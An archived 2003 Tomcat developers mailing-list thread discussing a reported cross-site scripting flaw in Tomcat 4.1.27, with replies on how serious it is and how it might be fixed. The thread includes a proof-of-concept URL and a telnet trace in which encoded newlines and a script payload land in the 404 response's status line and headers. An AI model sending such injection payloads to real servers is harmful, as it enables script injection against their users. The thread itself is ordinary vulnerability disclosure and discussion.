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From "Shapira, Yoav" <Yoav.Shap...@mpi.com>
Subject RE: Jakarta Tomcat 4.1 XSS vulnerability
Date Mon, 29 Sep 2003 18:57:21 GMT

Howdy,
I'm not a big security buff, but three things come to mind:
- The original post with the "exploit" is more than a year old, yet we
haven't heard anything about this actually used maliciously -- how come?
- Is it really a vulnerability?  What can you get from this "exploit"?
All I see is tomcat returning a 404 (not found) response with the
javascript specified in the GET request, but javascript is executed on
the client anyhow, so who cares?
- What would the fix be?  Not include the requested URL in the default
404 response page?

Yoav Shapira
Millennium ChemInformatics


>-----Original Message-----
>From: David Rees [mailto:dbr@greenhydrant.com]
>Sent: Monday, September 29, 2003 2:41 PM
>To: Tomcat Developers List
>Subject: Re: Jakarta Tomcat 4.1 XSS vulnerability
>
>Anyone know how serious this is?
>
>It also appears to affect Tomcat 4.1.27 when using mod_jk as well.
Below
>is a sample trace of a HTTP session.
>
>-Dave
>
>> telnet localhost 8080
>Trying 127.0.0.1...
>Connected to localhost.
>Escape character is '^]'.
>GET /666%0a%0a<script>alert("asdf");</script>666.jsp HTTP/1.0
>Host: localhost
>
>HTTP/1.1 404 /666
>
><script>alert("asdf");</script>666.jsp
>Content-Type: text/html;charset=ISO-8859-1
>Content-Language: en-US
>Date: Mon, 29 Sep 2003 18:39:23 GMT
>Server: Apache Coyote/1.0
>Connection: close
>
><html><head><title>Apache Tomcat/4.1.27 - Error
>report</title><STYLE><!--H1{font-family : sans-serif,Arial,Tahoma;color
:
>white;background-color : #0086b2;} H3{font-family :
>sans-serif,Arial,Tahoma;color : white;background-color : #0086b2;}
>BODY{font-family : sans-serif,Arial,Tahoma;color :
black;background-color
>: white;} B{color : white;background-color : #0086b2;} HR{color :
>#0086b2;} --></STYLE> </head><body><h1>HTTP Status 404 - /666
>
>&lt;script&gt;alert(&quot;asdf&quot;);&lt;/script&gt;666.jsp</h1><HR
>size="1" noshade><p><b>type</b> Status report</p><p><b>message</b>
<u>/666
>
>&lt;script&gt;alert(&quot;asdf&quot;);&lt;/script&gt;666.jsp</u></p><p>
<b>d
>escription</b>
><u>The requested resource (/666
>
>&lt;script&gt;alert(&quot;asdf&quot;);&lt;/script&gt;666.jsp)
is not
>available.</u></p><HR size="1" noshade><h3>Apache
>Tomcat/4.1.27</h3></body></html>Connection closed by foreign host.
>
>On Sun, September 28, 2003 at 3:14 am, Kan Ogawa sent the following
>>
>> Jakarta Tomcat 4.1 cross-site scripting vulnerability, which was
>> reported last year, is not yet resolved.
>>
>>
http://www.securityfocus.com/archive/82/288502/2002-08-16/2002-08-22/0
>>
>> I verified this vulnerability on Tomcat 4.1.27 with Coyote HTTP/1.1
>> connector.
>>
>> http://localhost:8080/666%0a%0a<script>alert("asdf");</script>666.jsp
>>
>> On the other hand, on Tomcat 5.0, it was not reproduced.
>> Do you neglect to resolve it to Tomcat 4.x, Tomcat committers?
>>
>> Regards,
>>
>> --
>> Kan Ogawa
>> super-creek@jcom.home.ne.jp
>
>
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